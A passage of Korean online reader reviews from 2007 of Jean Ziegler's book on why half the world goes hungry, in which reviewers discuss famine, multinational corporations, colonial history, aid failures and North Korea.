    내가 알고 있기로 자연도태설이 아직까지 정설중에 하나로 인정받는 이유는 18, 19세기 유럽이 한창 해외 식민지 건설에 열을 올리고 있을때, 이것의 이론적 뒷받침이 된 이론이 바로 자연도태설이다.
    유럽, 미국을 위해 아시아, 아프리카의 희생은 당연하다는 이런 태도.
    언젠가 다시 되 받으리라...(소망입니다.)

    예전에 아프리카의 물자원에 대한 다큐를 본적이 있다.
    우리가 보기에 정말 더러운 웅덩이의 물조차 감사하게 생각하고 아껴쓰는 그들.
    사워할때 가끔식 미안한 감에 반성할 때도 있다.(정말 가끔씩)
    이 책 역시 지금의 식생활을 반성하게 만들것 같다.

    어려운 내용을 정말 읽기 쉽게 서술했습니다.
    이 글을 읽는 분께서는 꼭 읽어 보셨으면 좋겠습니다.
    참, 마지막으로 스위스에 본사를 두고 있는 네슬레. 잊지 않겠다.나쁜 놈들.
    리뷰줄이기
  • 나는 과연 기아의 진실에서 자유로운가
    문차일드 | 2007년 04월 01일
        은연중에 집어 드는 다국적 기업의 상품을 구매할 때마다, 기아로 고통 받는 제 3세계의 사람들을 더욱 사지에 몰아넣는 일에 동조하고 있을지도 모른다는 사실에 서늘해져온다. 유기농, 친환경, 웰빙을 표방하며 생산되는 먹을거리들은 자본주의 시장의 폭력적인 논리 안에서 기아 난민의 수를 부추기고 있다는 불편한 깨달음에 전율했다. 그리 많지 않은 페이지를 넘기면서 절식과 소식과 식이요법에 강박적으로 시달려야하는 시대를 사는 나는, 내외부적인 부조리 탓에 생존을 위한 식량을 원천적으로 허락받지 못하는 ...
    더 보기
     

      은연중에 집어 드는 다국적 기업의 상품을 구매할 때마다, 기아로 고통 받는 제 3세계의 사람들을 더욱 사지에 몰아넣는 일에 동조하고 있을지도 모른다는 사실에 서늘해져온다. 유기농, 친환경, 웰빙을 표방하며 생산되는 먹을거리들은 자본주의 시장의 폭력적인 논리 안에서 기아 난민의 수를 부추기고 있다는 불편한 깨달음에 전율했다. 그리 많지 않은 페이지를 넘기면서 절식과 소식과 식이요법에 강박적으로 시달려야하는 시대를 사는 나는, 내외부적인 부조리 탓에 생존을 위한 식량을 원천적으로 허락받지 못하는 세계의 10억 인류들을 잠시나마 직시하며 내 죄책감의 무게가 허상으로 끝나버리지 않기만을 바라고 있다.




      유엔 식량 특별 조사관인 장 지글러의 『왜 세계의 절반은 굶주리는가?』는 120억의 인구가 먹고도 남을 만큼의 식량이 생산되고 있는 현실에서, 하루 10만 명의 사람들이 굶어 죽어가게 되었는지의 모순을 다각적으로 분석해내고 있다. 아프리카의 내전, 아시아의 정치적 혼돈, 중동의 이슬람원리주의자들의 폭압, 남미의 환경난민, 북한의 한계에 다다른 식량사정... 지글러의 말대로 굶주리고 있지 않은 자들은 의식적으로 기아의 존재에 대해 봉인한 채 살아가고 있을 것이다. 절대 자신에게 일어날 리 없다는 안도감과 함께.




      제 3세계 국가들이라고 해서 만성적인 기아와 빈곤을 조장하고 방치하기만 하는 것은 아니다. 부패에 찌든 군부독재에 맞서 민주화 정권을 세우고 빈민구제와 경제회복에 최선을 다하는 지도자들이 나타나기도 했다. 그러나 선진국의 입장에서는 그네들의 자립이 그리 달갑지만은 않다. 금세기 초에야 공개되었던 CIA의 비밀문건들에 남겨진 추악한 진실을, 이 책을 통해 다시 한 번 확인했을 뿐이다. 오히려 미국이나 프랑스 등은 군벌들의 쿠데타를 도모하고, 무기를 지원하고, 자국의 대기업의 독점적 경제 지배를 위해 개혁정책을 전복시킨다. 살해당한 칠레의 아옌대 대통령과 브루키나파소의 상카라의 후계자들이 극악한 국제적인 질서 속에서도 자본의 정의만이 승리하지 않는다는 희망을 가지고 고군분투해주길 진심으로 바란다.   




      아프리카에도 거대하고 비옥한 농토가 있다. 그렇지만 생존에 필요한 자급자족을 목적으로 농작물을 길러내는 것이 아니라 유럽의 거대기업들의 입맛에 맞는 플랜테이션 농업이 여전히 지속되고 있을 뿐이다. 아마존의 원시림은 군부의 묵인 아래 서구의 거대자본을 불리는 방편으로 계속 잘려나가고 있으며, 세계의 대도시 곳곳에서는 부자들의 쓰레기 더미를 생명줄로 삼아 연명하는 극빈층들이 있다. 평화유지군이 철수하면서 안전하게 전해지지 못하는 국제구호품들은 군벌들이나 독재 권력의 부로 축적되고 있으며, 후진국들이 민중정부를 세우지 못하도록 경제봉쇄를 풀지 않는 미국의 값싼 동정심은 지뢰밭이 가득한 곳에 한 끼 식량을 투하하는 것으로 위안 삼는다. 결국 가난한 자들이 생존할 권리는 점점 박탈당하고 있는 셈이다.




      워싱턴 협약이나 다보스 포럼, 시카고 곡물 거래소 같은 국가보다 부유한 개인들의 부를 보장하기 위한 파워게임의 결과물 앞에서 자유로울 수 있는 이들은 몇이나 될까. 신자유주의에 거세게 반발하며 불법과 준법의 경계를 넘다들며 활동하는 NGO들을, 오히려 더 낯선 시선으로 바라볼 때가 더 많았던 것을 인정한다. 김혜자 씨나 구로야나기 테츠코, 안젤리나 졸리의 월드비전, 유엔친선대사 활동들에 찬사를 보내면서도 사정거리 밖에서 관망하기만 했던 것도 사실이다. 그렇지만 기아가 가난을 척결해주고 생존하지 않아도 되는 잉여인구를 해소하는 필요악이라는 자연도태설에까지 동조할 수는 없다. 지글러의 결론처럼 우리네의 의식의 변화가, 다시 사람만이 희망인 그런 미래가 도래하는 것을 불러일으키는 나비효과가 되어, 기아와 싸울 수 있는 저력이 되어주기를 소망한다.




      난민캠프의 어린이 무덤을, 끔찍하게 느린 시간 속에서 굶주림과 싸우다 지는 생명을, 심각한 영양부족 상태에서 살아남기 어려운 아이를 낳느라 생을 바치는 어머니들을, 비타민 A의 결핍으로 실명하는 아이들을, 지배층의 부패와 정권유지의 방패막이로 내몰리는 북한의 주민들을, 낙인처럼 대물림되는 가난함 속에서도 생존할 권리를 지켜내려는 그들의 아픈 생들을 직시해야만 한다. 눈 돌리고, 저만치 밀쳐놓으면 내 삶이 윤택해질 수는 있을지 모르지만, 내 정신은 죄의식으로 물들 것이다. 구조적, 경제적 기아를 동정과 적선으로 몰아낼 수는 없지만, 자체적인 기억상실로 간과해버린 지금까지의 나태한 의식으로는 절대 맞설 수도 없다.


    리뷰줄이기
  • 기아에 대한 관심과 인식의 작은 출발점
    롤러코스터 | 2007년 04월 01일
    언젠가 TV에서 아프리카 어느 지역의 분쟁에 대한 프로그램을 보내준 적이 있다.(기억으론 시에라리온인 듯) 그칠 줄 모르는 지역 분쟁에서 고통당하고 피해를 보는 사람은 당연히 여자와 어린이들이었다. 먹을 것도 제대로 없어 굶주림에 있는 아이들이 손목이 잘리기 전에 혹은 죽임을 당하기 전에 복수의 총을 들고 악에 바쳐 소리 지르는 모습은 하나의 충격이었다. 도대체 저 아이들을 전쟁으로 내몰고 제 키보다도 큰 총을 메도록 한 사람은 과연 누구인가? 저 아이들이 그 전쟁의 의미를 알고 총을 든 것일까? 씁쓸했다. 이 책에서...
    더 보기

    언젠가 TV에서 아프리카 어느 지역의 분쟁에 대한 프로그램을 보내준 적이 있다.(기억으론 시에라리온인 듯) 그칠 줄 모르는 지역 분쟁에서 고통당하고 피해를 보는 사람은 당연히 여자와 어린이들이었다. 먹을 것도 제대로 없어 굶주림에 있는 아이들이 손목이 잘리기 전에 혹은 죽임을 당하기 전에 복수의 총을 들고 악에 바쳐 소리 지르는 모습은 하나의 충격이었다. 도대체 저 아이들을 전쟁으로 내몰고 제 키보다도 큰 총을 메도록 한 사람은 과연 누구인가? 저 아이들이 그 전쟁의 의미를 알고 총을 든 것일까? 씁쓸했다.

    이 책에서 저자는 그 배후에 부패한 관리들과 종족간의 갈등이 있다고 한다. 그들은 자기들의 부를 위해 나라를 망치고 자기들의 이익을 위해 전쟁을 일으키면서 정작 국민들은 기근에 걸려 죽든지 병에 걸려 죽든지 관심이 없다. 오히려 국민을 위해 개혁을 하는 지도자를 외국 세력의 조종으로 살해해버리고 지옥 같은 생활에서 겨우 벗어난 국민들을 또다시 구렁텅이로 밀어 넣고 있다. 어디 그 뿐이랴, 그들은 기아를 무기로 삼고, 국제기업에 악용하며, 테러의 도구로까지 이용한다. 또 도와죽겠다고 평화유지군을 보내고 국제 적십자사나 난민 구호단체에서 구호품을 보내어도 그들을 죽여 버리는 곳이 아프리카였다. 그러니 아프리카에서 굶주리고 죽어가는 아이들을 살릴 방법이 뭐가 있겠는가?

    물론 기근이 아프리카에만 집중되어 있는 것은 아니다. 아시아는 물론이고 강대국에 속하는 러시아에서도 굶어죽는 사람들이 있다. 콩고 같은 나라는 풍부한 지하자원이 있음에도 많은 사람들이 굶어 죽고 있다. 또 브라질에서는 살인적인 금융 과두제가 물품을 독점하고 있는 상황에서 브라질 북동부에서 굶주림으로 인해 영양실조가 만연하다고 한다. 이런 것을 볼 때 기근은 세계적이라고 할 수 있다.

    더구나 어쩌면 이런 모든 일들이 아프리카를 식민지로 삼았던 유럽 강대국의 이기적인 지배에서 생겨났을 수도 있는데, 토머스 맬서스의 ‘자연도태설’을 핑계로 삼아 심리적 기능으로 양심의 가책을 진정시키고 불합리화한 세계에 대한 분노를 몰아내기 위해 유럽의 많은 지배층 계급에서 그 이론을 신봉하고 있다니 어이가 없다. 그러나 유럽뿐이 아니다. 아프리카의 경우 이라크나 다른 중동지역에 비해 거둬들일 자원이 없으니 미국이나 다른 강대국에서도 관심을 두지도 않는 점도 있다. 그들이 만약 아프리카에서 이익을 볼 수 있는 어떤 자원들이 충분하다면 미국이나 강대국들이 모른 채 하고 나두었을까 싶기도 하다.

    나라마다 자국의 이익과 각 나라와의 이해관계가 얽히고 얽혀서 피해를 받는 사람은 가난하고, 자원도 풍부하지 못하고, 매년 가뭄과 홍수로 기근에 허덕이는 나라다. 구호품을 공급해도 정말 도와줘야 할 사람들에겐 그것들이 공급되지 않는다. 북한을 두고 생각해도 그렇다. 그러니 세계 어느 나라든 굶주림에서 벗어나기 위해서는 베르툴트 브레히트가 주장하는 식량권을 국제 법규로 도입을 하든지 전지구적인 민간단체가 하루빨리 탄생하여 ‘워싱턴 합의’와 인권 사이의 대립에 종지부를 찍기를 바란다. 저자는
    리뷰줄이기

  • 문제는 인간의 탐욕이다.
    stella09 | 2007년 04월 03일
    아프리카하면 가뭄과 기아를 떠올리게 된다. 언제부터였을까? 아프리카 보도를 처음 접하게된 것은 말이다. 적어도 내가 10대 때부터였던 것 같다. 그로부터 얼마의 세월이 흘렀나? 아프리카의 기아는 조금도 나아질 기미가 보이지 않는다. 뉴스들은 그것을 보도할 때마다 가뭄 탓을 한다. 그렇다면 아프리카는 신이 버린 땅인지도 모른다. 어쩌자고 그 지역만 비가 오지 않을 수 있단 말인가? 그렇다고 한다면 우리나라 한반도에도 가뭄이 들지 말라는 법이 어디있겠는가? 실제로 작년에 북한은 극심한 가뭄으로 가득이나 어려운 ...
    더 보기

    아프리카하면 가뭄과 기아를 떠올리게 된다. 언제부터였을까? 아프리카 보도를 처음 접하게된 것은 말이다. 적어도 내가 10대 때부터였던 것 같다. 그로부터 얼마의 세월이 흘렀나? 아프리카의 기아는 조금도 나아질 기미가 보이지 않는다. 뉴스들은 그것을 보도할 때마다 가뭄 탓을 한다. 그렇다면 아프리카는 신이 버린 땅인지도 모른다. 어쩌자고 그 지역만 비가 오지 않을 수 있단 말인가? 그렇다고 한다면 우리나라 한반도에도 가뭄이 들지 말라는 법이 어디있겠는가? 실제로 작년에 북한은 극심한 가뭄으로 가득이나 어려운 식량난을 더 어렵게 만들었다. 그렇다면 이 지역에 비만 오면 기아는 해결이 될까? 


    그러나 나는 이 책을 읽으므로 이것이 그리 단순한 문제가 아니라는 것을 알았다. 그것은 비단 기후나 환경의 문제에만 국한되어 있는 것이 아니고, 선진국 또는 다국적 기업의 횡포에 내전으로 인한 군벌의 문제 등이 복합적으로 얽켜있었던 것이다. 그래도 있는 나라가 없는 나라를 도와주며 사는 것 그것이 사람된 또는 나라된 도리가 아닌가? 실제로 선진국들이 기아로 허덕이는 나라를 도와주는 것은 사실이지만, 모든 것을 그저 아무 조건없이 인도주의적 차원에서 도와줄리 만무하다. 거기엔 많은 이해관계들이 복잡하게 얽켜있는 것이다. 역시 부익부 빈익빈의 논리를 피해갈 수 없다. 어디 그뿐인가? 가난한 나라는 가난한 나라대로 한 움큼 밖에 안되는 권력 가지고 아귀다툼을 벌이고 있다. 고래 싸움에 새우등 터진다고, 거기에 희생당하는 것은 저 굶주림에 허덕이는 어린아이들과 무고한 양민들이다. 어째서 자기 나라의 존망이 달린 문젠데 군벌에 의한 내전만을 거듭하고 있단 말인가? 하다못해 자기나라 기아문제를 무기로 들고 나오는 지경에까지 이르렀으니 야만도 그런 야만은 다시 없을 듯 하다. 그러니 기아는 그냥 기아의 문제가 아니라 세계는, 잘 사는 나라와 못 사는 나라의 박빙의 "빼쩨라"식 한판 승부의 장이라고나 해야할까? 문제는 인간의 '탐욕'이다.


    나는 결코 두껍지 않은 이 책을 읽어나가면서 문득 중간중간, 나라의 균형 즉 한 국가가 국가로써 존립하기까지 어떠한 균형을 가지고 있어야 하는가를 생각해 보았다. 지금 아프리카나 기아로 시달리는 여타의 국가에서는 오늘의 한끼를 해결하기 위해 허우적대지만, 만일 그들이 이 밥의 문제가 해결이 되지 않을 때는 장차 어떤 불행한 사태가 일어날런지 아무도 장담 못할 것이다. 지리상으로만 불려지고 있고, 국경에 의한 나라가 과연 나라라고 할 수 있을까? 결국 '국가 경영'이라고 하는 큰 틀에서 자신의 나라가 깨이지 않으면 결국 부자나라와 다국적 기업의 짓밟힘은 계속될 것이고, 군벌에 의한 우민화 정책은 계속 악순환 될 것이라고 본다. 또한 부자나라나 다국적 기업 또는 부자에게만 유리한 철학(신자유주의) 역시도 언제까지 그들의 발목을 지탱해 줄런지 알 수 없는 일이다. 물론 그들이 쉽게 망하지 않을 수도 있지만, 오랫동안 억압 받고 고통 당하는 가난한 자의 피맺힌 한을 언제까지고 외면하며 눌러만 놓을 수는 없게 될 것이다. 그런 의미에서도 가난한 자는 그들의 문제일뿐이라고 배만 두드린다면 그것은 미련한 일이 될 것이다.


    이 책은,  저자가 그의 아들에게 왜 세계의 절반은 굶주리는가를 아주 쉬운 문체로 설명한 책이다. 너무 쉬운 문체로 써서 감탄이 다 나올지경이다. 하지만 이 책은 그러한 장점에도 불구하고 읽으면 읽을수록 마음은 무겁기만 했다. 그런데 한가지 흥미로운 건, 학교에서는 '기아'에 대해서 가르치지 않는다는 것이다. 왜 가르치지 않고 있는가? 그 이유는 너무나 간단했다. 그것을 아는 것이 부끄럽기 때문이라고 한다. 왜 부끄러운가? 가만히 생각해 보니, 나 역시도 이 책을 읽기로 했을 때 그리 편안한 마음으로 첫 페이지를 펼쳐나가지 못했던 것을 기억한다. '분명 비참할 거야. 내가 이 책을 읽는다고 무엇이 달라지겠어?'하는 마음이었지, 기아에 대해 정말 알고 싶은 마음이 컸던 것은 아니다(물론 어느 정도 "왜 그럴까?"하는 의문이 없었던 건 아니었지만). 마음도 아프고, 편치마는 않은 것이 사실이지 않은가?


    그런데 돌이켜 보면,  교육이란 게 너무 많은 맹점을 가지고 있지 않다. 성취지향적이고, 양육강식 또는 부익부 빈
    리뷰줄이기

  • 지구촌 비극의 현실
    emhy311 | 2007년 04월 04일
    지구촌의 세계에서 절반이 굶고 있다는 충격적인 제목의 이 책은, 한미 FTA 협상 문제의 타결을 본 우리나라의 농업 생산국으로 개방화에 대한 자유주의 무역을 짚어보게 하고, 유니세프의 온정으로 이웃 나라의 사정도 도움을 줄 수 있는 날이 오기까지, 지난날의 보릿고개를 넘어야 하는 곤궁의 나라로서, 전쟁 구호물자의 덕을 받아야 했었던 비극적인 상태를 떠올리게 되고, 표지사진 소년의 모습처럼 처절한 목숨에 대한 애잔한 감정으로 이 책을 대하게 된다. 유엔 위원회 식량 특별 조사관의 경험으로 이 책을 지은 저자 지글러 ...
    더 보기

    지구촌의 세계에서 절반이 굶고 있다는 충격적인 제목의 이 책은, 한미 FTA 협상 문제의 타결을 본 우리나라의 농업 생산국으로 개방화에 대한 자유주의 무역을 짚어보게 하고, 유니세프의 온정으로 이웃 나라의 사정도 도움을 줄 수 있는 날이 오기까지, 지난날의 보릿고개를 넘어야 하는 곤궁의 나라로서, 전쟁 구호물자의 덕을 받아야 했었던 비극적인 상태를 떠올리게 되고, 표지사진 소년의 모습처럼 처절한 목숨에 대한 애잔한 감정으로 이 책을 대하게 된다.


    유엔 위원회 식량 특별 조사관의 경험으로 이 책을 지은 저자 지글러 교수는, 이런 끔찍한 현실을 가감 없이 그대로 보여주면서 이런 현실을 변화시키기 의한 희망에 대한 이야기도 담고 있는데, 다른 사람의 아픔을 내 아픔으로 느낄 줄 아는 지구촌 가족의 따뜻한 인식이 필요함을 강조하면서 인도적 차원의 공감을 불러 일으키기에 충분한 저작 물로 평가할 만 책을 선보인지 오래됐지만, 아직도 지구촌 빈곤의 실태는 변하지 않은 것이 우울하게 한다.



    지구촌 한쪽에서는 이렇게 굶주리고 죽어 가는 비극적인데 반하여, 한쪽에서는 과잉의 음식 쓰레기 처치에 곤란을 겪고 있으면서 빈곤에 시달리는 이웃 나라의 불쌍한 사람들을 잊고 지내며 강 건너 불구경하는 현실에 대해서 안타까운 마음을 금할 수 없으며, 빈곤과 기아에 대한 청소년들에 대한 적극적인 교육으로 세계 곳곳에서 벌어지는 기아의 진실을 깨닫게 하고자 하는 일에 희망을 걸고 있는 책이다.



    이런 의미에서 전쟁과 정치적 무질서로 말미암은 구호조치의 무색함이 빚어지는 현상이나, 부자들의 쓰레기로 근근이 연명하는 사람들의 실태, 그리고 곡물 대부분을 먹어 치우는 소는 배불리 먹여도 사람들은 굶어 죽는 경우가 생기고, 계속되는 삼림파괴나 사막화의 불안 함과 끊이지 않는 기아 현상의 참상을 분석하고, 다국적 기업이나 선진국의 횡포에 대한 내용 등 지금 까지의 구호 정책을 실현하면서 참고 해야 할 난민 캠프의 사례 등 대안으로 생각해 볼 문제에 대해서도 자세히 접근해 보고 있다.



    인도주의적 자원의 효율화는 물론이고, 무작정적인 원조보다는 개혁의 의지가 있도록 하여야 하며, 헬기로 성의없이 지원하는것 보다는 인프라를 정비하여 도움이 될 수 있는 발상의 전환을 필요성과, 그에 따른 대책을 세워야 하며, 인도적인 관점에서 빈곤과 사회구조의 개선에 힘써야 함을 질문과 대답을 2색 인쇄로 문답식 대화체로 청소년도 이해하기 쉽게, 빈곤의 실태와 기아에 허덕이는 배후 사정을 자세히 소개하고 있는 점이 자료 사진이 없어 아쉬운 점을 채워주고 있다.



    특히, 각국이 자립경제를 스스로 이룩하는 것만이 굶주림의 유일한 탈출구임을 인식하게 하며, 서 아프리카 작은 나라에서 자급자족의 기반에 올려놓고자 힘을 쓰다가 뜻을 다 이루지 못한 혁명가 청년 상카라의 비극적인 삶을 소개하거나, 칠레의 아옌데 대통령의 꿈을 빼앗긴 이야기는 안타깝기 그지없고, 개혁의 의지로 혁명적인 행동을 보여 준 것으로 기억되며, 북한의 부족한 식량을 늘리는 방법으로 옥수수 품종의 개량에 힘쓰는 옥수수 박사 김순곤님의 노력이나, 70년대 통일 벼로 식량 증산에 이바지한 정책도 이 책을 읽으며 생각하게 된다.


    리뷰줄이기
  • 무엇이 세상의 절반을 굶주리게 하는가?
    생활 속의 멋과 여유 | 2007년 04월 05일
    옮긴이처럼 나도 월드비젼을 통해 잠비아의 한어린이를 후원한다. 1년여 통장에서 매월 후원금이 빠져나가지만 내가 하는 행위의 의미나 그 아이들과 그들의 가족이 왜 어렵게 사는지는 생각해 본 적이 없다. 다만 한비야의 책을 읽고 내가 삼겹살 굽고 소주 마실 돈 조금만 아끼면 그들에게 자그마한 도움이 될 것 같다는 막연한 느낌으로만 한 행위였다. 학교 다닐 적 인구론에 관한 맬더스의 주장처럼 기하급수적으로 증가하는 인구때문에 세계의 식량이 전세계 인구를 먹여 살릴 수 있으리라곤 생각해 본 적이 없다. 다만 분배의 문...
    더 보기

    옮긴이처럼 나도 월드비젼을 통해 잠비아의 한어린이를 후원한다. 1년여 통장에서 매월 후원금이 빠져나가지만 내가 하는 행위의 의미나 그 아이들과 그들의 가족이 왜 어렵게 사는지는 생각해 본 적이 없다. 다만 한비야의 책을 읽고 내가 삼겹살 굽고 소주 마실 돈 조금만 아끼면 그들에게 자그마한 도움이 될 것 같다는 막연한 느낌으로만 한 행위였다.


    학교 다닐 적 인구론에 관한 맬더스의 주장처럼 기하급수적으로 증가하는 인구때문에 세계의 식량이 전세계 인구를 먹여 살릴 수 있으리라곤 생각해 본 적이 없다. 다만 분배의 문제가 해결이 된다면 부족하더라도 조금은 기아의 문제를 완화시킬 수 있지 않을까 하는 생각은 가지고 있었다. 그런데 이책에서 알게된 진실은 그정도가 아니었다. 우리나라에도 미국의 소들이나 먹는 사료가 수입돼 식용으로 쓰인다는 얘기는 들은 적이 있지만 소들에게 먹일 옥수수만 아프리카에 나눈다면 많은 아이들이 목숨을 건질 수 있다는 얘기는 충격이었다. 식량을 에너지처럼 무기로 사용할 수 있고 식량이라는 인류 생존에 가장 필수적인 요소를 자본의 논리에 의해 투기의 대상, 이윤 추구의 대상으로 다룸으로써 그것이 필요한 이들에게 가지 못하고 서구 자본의 배를 불리는 수단이 된다는 건 가슴 아픈 일이다.


    아옌데의 경우처럼 국제적인 독점 자본의 이윤추구를 위해 민주적인 정부가 무너지고 연쇄작용으로 많은 이들이 기아에 허덕인다는 것은 무엇이 세상의 절반이 굶주리는 상황으로 몰아가는지 다시 생각해보게 한다. 아옌데 정권이 실패했던 아이들에게 무상으로 우유를 제공하는 제도는 지금 못사는 쿠바에서도 행해지고 있는데....


    그런 절대적 기아 상황에 놓여 있는 이들이 아프리카 같이 먼 곳에만 있는 게 아니라 우리와 가까운 북한에도 많은 아이들이 굶주림에 목숨을 잃어가고 있다는 건 정치적인 문제를 넘어 관심을 가져야 할 문제다. 남북이 대치하는 속에서 정치적인 이슈들이 존재하겠지만 인도적인 차원에서 굶주리며 죽어가는 아이들을 구할 방법은 찾아야 할 것이다. 평화와 번영을 외치는 정치가들이 군대의 파병에 열올리는만큼 그지역의 굶주리는 이들을 위해 그비용만큼의 식량을 제공한다면 어떨까?


    20년쯤 전 온세계가 "We are the world"란 노래를 부르며 아프리카의 굶주림에 관심을 표한 적이 있었다. 온세계로 공연이 생중계되고 음악을 담은 음반이 팔려나갔지만 온인류가 우리는 하나라고 노래를 불렀지만 그당시의 상황에서 나아진 것은 하나도 없어 보인다. 그렇다면 단순 구호의 해결책보다는 근본적인 체제를 바꾸는 방법을 모색해야 하지 할 것이다. FTA의 문제로 상품성이 떨어지고 자본주의 경쟁에서 이기지 못하는 일부(?) 농업을 접는다는 얘기가 들리는데 그러한 부분을 계속 유지해서 국내의 시장논리로 해결이 안되는 부분만큼은 세계의 굶주리는 이들과 나눔의 정치를 행한다면 어떨까?


    리뷰줄이기
  • 왜 세계의 절반은 굶주려야 하는가?
    바지런 | 2007년 04월 05일
      전 인구의 2배를 먹여 살릴 수 있는 식량이 있음에도 세계의 절반이나 되는 인구가 굶어죽는다는 아이러니한 사실이 실제로 일어나고 있는 게 글로벌 시대의 우리 모습이다. 이 책은 굶주리는 현실의 상황이 단순히  식량을 자급자족하지 못하거나 돈이 없기 때문이 아닌 정치적인 집단의 이익이나 사회구조로 인한 필연적인 결과에 대해서도 다루고 있다. 서구 문명은 과식으로 인한 비만이 문제가 되어 죽는 반면 다른 쪽에서는 굶주림으로 인한 영양실조로 인해 죽어가고 있으니 정말 대조적인 현상이라고 밖에는 말...
    더 보기
     

    전 인구의 2배를 먹여 살릴 수 있는 식량이 있음에도 세계의 절반이나 되는 인구가 굶어죽는다는 아이러니한 사실이 실제로 일어나고 있는 게 글로벌 시대의 우리 모습이다.


    이 책은 굶주리는 현실의 상황이 단순히  식량을 자급자족하지 못하거나 돈이 없기 때문이 아닌 정치적인 집단의 이익이나 사회구조로 인한 필연적인 결과에 대해서도 다루고 있다.


    서구 문명은 과식으로 인한 비만이 문제가 되어 죽는 반면 다른 쪽에서는 굶주림으로 인한 영양실조로 인해 죽어가고 있으니 정말 대조적인 현상이라고 밖에는 말할 수 없다.


    기아를 악용하는 기업이나 다국적 기업의 횡포 역시 크나큰 이유가 될 수 있다.


    프랑스나 미국등 선진국들이 벌이는 기묘한 이권 챙김에 굶주린 어른 아이들이 희생되는 비참한 현실에 분노까지 생긴다. 


    기아로 인해 인구증가를 자연적으로 막는다는 정말 어처구니없는 생각은 무의식적인 인종차별이라고까지 할 수 있다.


    긴급 구호물자는 부족하기에 정말 구조가 필요한 사람을 선별하는 작업은 또 다른 고통일 것이다. 식량을 줘도 상태가 회복되기엔 너무 늦은 사람은 제외를 하게 되니 눈앞에서 죽어가는 자식이나 형제들을 바라보는 부모와 가족은 어떤 마음일지 짐작할 뿐이다.


    자꾸 반복되면 무뎌지는 사람의 감정이 계속되는 죽음 속에서 인간의 존엄성마저 상실되지 않을까 싶다.


    오래 굶주린 사람에게 당장 먹을 걸주는 게 얼마나 위험한 일인임에도 공중에서 구호물자를 뿌려대는 활동은 전혀 바람직하다고 할 수 없다.


    실제 구호 활동은 전문지식을 바탕으로 이뤄져야 그들의 상태에 따라 제대로 된 공급을 할 수 있을 거다.  가축들이 오히려 곡물을 먹고 몇몇 이권자들에 의해 국제 곡물 가격이 형성되
    리뷰줄이기

  • 새로운 눈으로 기아문제를 바라본다.
    아폴론 | 2007년 04월 06일
      앙상한 팔다리, 검은 피부의 사내 아이, 까만 두 눈....... '기아' 하면 맨 먼저 떠오르는 영상이다. <왜 지구의 절반은 굶주리는가?>를 보면서 '기아'는 어느 특정 지역에 국한 된 이야기가 아니라는 사실에 충격을 받았다. '기아문제= 배고픔의 문제' 라고만 생각했었는데 그런 도식적인 문제가 아니라는 사실을 알게 되었다. 120억 인구가 먹고도 남을 만큼의 식량이 생산이 되고 있다는데 2005년 통계에 의하면 만 10세 미만의 아동이 5초에 한 명꼴로 굶어 죽어가고 있으며 비타민A 부족으로 시력을 상실하는 사...
    더 보기
     

    앙상한 팔다리, 검은 피부의 사내 아이, 까만 두 눈.......


    '기아' 하면 맨 먼저 떠오르는 영상이다.


    <왜 지구의 절반은 굶주리는가?>를 보면서 '기아'는 어느 특정 지역에 국한 된 이야기가 아니라는 사실에 충격을 받았다. '기아문제= 배고픔의 문제' 라고만 생각했었는데 그런 도식적인 문제가 아니라는 사실을 알게 되었다.


    120억 인구가 먹고도 남을 만큼의 식량이 생산이 되고 있다는데 2005년 통계에 의하면 만 10세 미만의 아동이 5초에 한 명꼴로 굶어 죽어가고 있으며 비타민A 부족으로 시력을 상실하는 사람이 3분에 한명 꼴이라는 통계를 보고 뭔가 단단히 잘못 되었다는 생각을 하게 되었다. 정말로 단순히 식량의 생산량이 부족해서 그런 것이라면 식량을 생산하는데 좀 더 애를 쓰기만 하면 되는데 그게 아니라지 않는가? 그럼 무엇이 문제지?


    기아 문제에는 많은 원인이 있다. 자연재해, 전쟁 같은 것을 이유로 생기는 경우도 있고 기후이상으로 인한 자연환경의 변화에 따라 경작지를 잃어 더 이상 식량을 생산 할 수 없어 그곳을 떠날 수밖에 없는 경우도 있다.


    그러나 그게 다가 아니라는 것을 이 책은 이야기를 하고 있다. 120억 인구가 먹고도 남을 식량을 생산하고 있는데 지구의 절반이 굶고 있다? 지구의 절반이 먹고 절반이 먹지 못한다면 절반분의 식량은 남아야 한다. 그 식량은 어디에 있지? 그것은 왜 굶는 사람들에게 주어지지 않는 것인가라는 의문에 봉착을 하게 된다. 이 문제에 대하여 장 지글러는 '세계 경제의 질서'를 유지하고 있는 '자본'에 대한 이야기를 하고 있다. 자본은 이윤을 목적으로 한다. 이윤은 도덕이나 윤리로도 통하지 않는 무지막지 한 괴물임을 칠레의 경우를 통하여 이야기 하고 있다. 이윤을 추구하는 국가, 다국적 기업은 상황에 맞는 가면을 적절하게 바꾸어 쓰면서 직, 간접적으로 그 힘을 행사한다. 이윤이 있을 것 같은 지역에서의 원조는 활발하게 이루어지고 있는 반면 이윤이 없는 지역의 원조는 방관하고 있다.


    이런 행위에 대한 국제 여론의 눈속임으로 때로는 헬리콥터를 이용한 식량을 살포하는 경우도 우리는 종종 보게 되는데 이는 그야말로 눈속임이다. 오랜 굶주림으로 약해진 사람들에게는 의료진들에 의한 정확한 진단 후 식량배급이 이루어져야만 건강을 회복할 수 있다.(우리가 금식을 했을 때, 병 후 몸이 약해지거나 체력이 떨어졌을 때 음식을 섭취하는데 더 조심하듯) 그런데 이런 무차별적인 식량의 원조는 오랜 시간 굶주려 있어 허약해진 사람들에게는 독과 같은 것이다. 이런 행위들은 자본을 내세우고 이윤을 추구하는 자들의 자기 양심을 위무하기 위한 수단일 뿐이다.


    <왜 지구의 절반은 굶주리는가?>를 보면서 그동안 내가 기아문제에 대하여 진지하게 생각 해 보지 않았다는 생각이 들었다. '굶는 사람들' 이야기를 보면서 그들을 단순하게 동정했고 나 자신 굶고 있지 않다는 사실에 안도감을 느끼고 있었던 것은 아닌지 반성을 해본다.


    또 아이들과 '기아 문제'를 다룬 보도 매체들을 접하면서 "저렇게 굶고 있는 사람들도 있는데 음식투정을 하고 음식을 낭비하느냐"정도의 훈계만 했지 굶을 수밖에 없는 이유를 아이들과 진지하게 이야기 해 본적이 없다는 사실에 많이 놀랐다. '기아 문제'가 지구 저편의 이야기일 뿐인가? 정말 나와 아무런 상관이 없는 이야기일까? 굶는 사람들에 대한 나의 책임은 없는 것일까 생각을 많이 하게 되었다.


    책을 읽으면서 아이들에게 "꼭, 꼭 읽어야 한다. 꼭 읽어야 한다. 읽고 나서 이야기 하자." 는 말을 반복적으로 한다. 기아 문제에 대하여 다시 생각하고 싶었다. 그리고 아이들과 내가 아주 작지만 지금 당장 우리가 할 수 있는 것이 무엇인지 이야기 하고 싶었다 .


